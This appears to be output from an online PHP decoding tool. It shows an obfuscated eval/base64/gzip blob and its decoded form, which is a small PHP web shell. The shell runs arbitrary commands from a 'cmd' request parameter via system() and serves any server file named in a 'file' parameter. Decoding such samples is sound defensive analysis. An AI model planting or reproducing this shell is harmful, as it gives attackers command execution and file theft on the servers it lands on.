Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval("?>".gzuncompress(base64_decode("eJx1UUtPAjEQvpPsfxgJobuJwH15HXTjxYuKJ0NI3Z11m5S26dQH..

Decoded Output download

?>b'<?php
if(isset($_REQUEST[\'cmd\'])){
echo "<pre>";
$cmd = ($_REQUEST[\'cmd\']);
system($cmd);
echo "</pre>";
die;
}

$local_file = $_GET[\'file\'];
$download_file = $local_file;
 if(file_exists($local_file) && is_file($local_file)) {
    // send headers
    header(\'Cache-control: private\');
    header(\'Content-Type: application/octet-stream\'); 
    header(\'Content-Length: \'.filesize($local_file));
    header(\'Content-Disposition: filename=\'.$download_file);
     flush();
        $file = fopen($local_file, "rb");
     print fread ($file, filesize($local_file)); 
     fclose($file);}
else {
    die(\'Error: The file \'.$local_file.\' does not exist!\');
} ?>'

Did this file decode correctly?

Original Code

eval("?>".gzuncompress(base64_decode("eJx1UUtPAjEQvpPsfxgJobuJwH15HXTjxYuKJ0NI3Z11m5S26dQHGv67U16CSg9Np/M95jGausYlLVWnighD2lncF3ePxcPsSZTLSsyz7CtpYdlYaI+cx0l7mLQ6nIEx/MVyjlYUcJlGSAx3zMGeWinke520WEXbUupFrTSyWGdxU7BOjMQ8elT23WgrqwPgB85p4ILjc4EfigKlR9kMul1QtHmf/GfArQCfwQAITQUNygo9bT+3QSquZNlgr7QmeKtzcF69yYAiNnMCYwCa0JutHOYgndOqlEFZM7BlwNCj4FEumQb/827RvIQmB9GPtZH6/FXrGbtrRc6SikY5RKSRSxyL/um49myo9Ss16SHk09mNs7YOzbHlJbT9c/sA5b5NgJqbqHjRW8CZSmFvVmpLuAVnQ94xasL9zHnxqSi8tz6HWYMbLW7+SKkvoLJIYGyAzVYvNkNfw3TyDc3Rzbk="))); ?>

Function Calls

gzuncompress 1
base64_decode 1

Variables

None

Stats

MD5 ff75751ee75e8549a84f46fe6ef6fb0d
Eval Count 1
Decode Time 192 ms